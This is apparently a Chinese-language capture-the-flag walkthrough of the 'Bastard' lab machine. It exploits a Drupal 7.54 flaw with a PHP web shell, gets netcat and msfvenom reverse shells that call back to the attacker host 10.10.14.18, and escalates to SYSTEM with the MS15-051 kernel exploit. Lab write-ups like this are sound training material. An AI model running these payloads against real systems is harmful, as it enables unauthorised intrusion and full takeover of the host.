Bastard Walkthrough

一台不太像 AD 靶机做法的靶机 …

Box Info

官网在这里:Bastard

Bastard is not overly challenging, however it requires some knowledge of PHP in order to modify and use the proof of concept required for initial entry. This machine demonstrates the potential severity of vulnerabilities in content management systems.

image-20250425163714704

The Hack

使用 nmap 进行端口扫描

sudo nmap -p- 10.129.37.166 --min-rate 2500 

发现 80、135、49154 端口

image-20250425145207721

对开放端口进行应用版本发现

sudo nmap -p 80,135,49154 -sC -sV 10.129.37.166

发现 80 端口开放 http 服务同时泄露 robots.txt

image-20250425145259694

在 robots.txt 中发现有趣文件 CHANGELOG.txt

image-20250425145344040

CHANGELOG.txt 泄露版本信息:Drupal 7.54

image-20250425145431637

在这可以发现对应版本漏洞: https://www.exploit-db.com/exploits/41564

更改 url、endpoint_path 和核心漏洞利用代码如下:

image-20250425155306940

<?php
if(isset($_REQUEST['upload'])){
file_put_contents(
$_REQUEST['upload'],
file_get_contents("http://10.10.14.18/" . $_REQUEST['upload'])
);
}
if(isset($_REQUEST['cmd'])){
echo system($_REQUEST['cmd']);
}
?>

使用 php 执行代码

php 41564.php

sudo apt install php-curl

上传成功:

image-20250425144952449

能正常执行脚本:

image-20250425145032428

上传 nc.exe ,在 kali 中位于 /usr/share/windows-resources/binaries/nc.exe

upload=nc.exe

上传成功

image-20250425154700193

使用 nc.exe 反弹 shell

cmd=nc.exe -e cmd 10.10.14.18 4444

成功接收回弹到的 shell

image-20250425154602130

查看系统版本

image-20250425155916644

发现可以利用内核漏洞提权,利用程序网址在这:windows-kernel-exploits/MS15-051 at master · SecWiki/windows-kernel-exploits

image-20250425162710045

上传漏洞利用程序:ms15-051x64.exe

upload=ms15-051x64.exe

成功上传

image-20250425163241912

在目标主机执行漏洞利用程序,获得 SYSTEM 账户权限

ms15-051x64.exe whoami

image-20250425162954915

使用 msfvenom 制作反弹 shell 程序并上传

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.18 LPORT=8888 -f exe -o root.exe
upload=root.exe

上传成功:

image-20250425163132236

使用漏洞利用程序执行反弹 shell 程序

ms15-051x64.exe root.exe

image-20250425162836444

本机开启 nc 监听

nc -nvlp 8888

获得目标主机 SYSTEM 权限的 shell

image-20250425162904759

在 Administrator 桌面获得 root.txt

image-20250425162421416

在用户 dimitris 桌面获得 user.txt

image-20250425162623914

Final

image-20250425163519589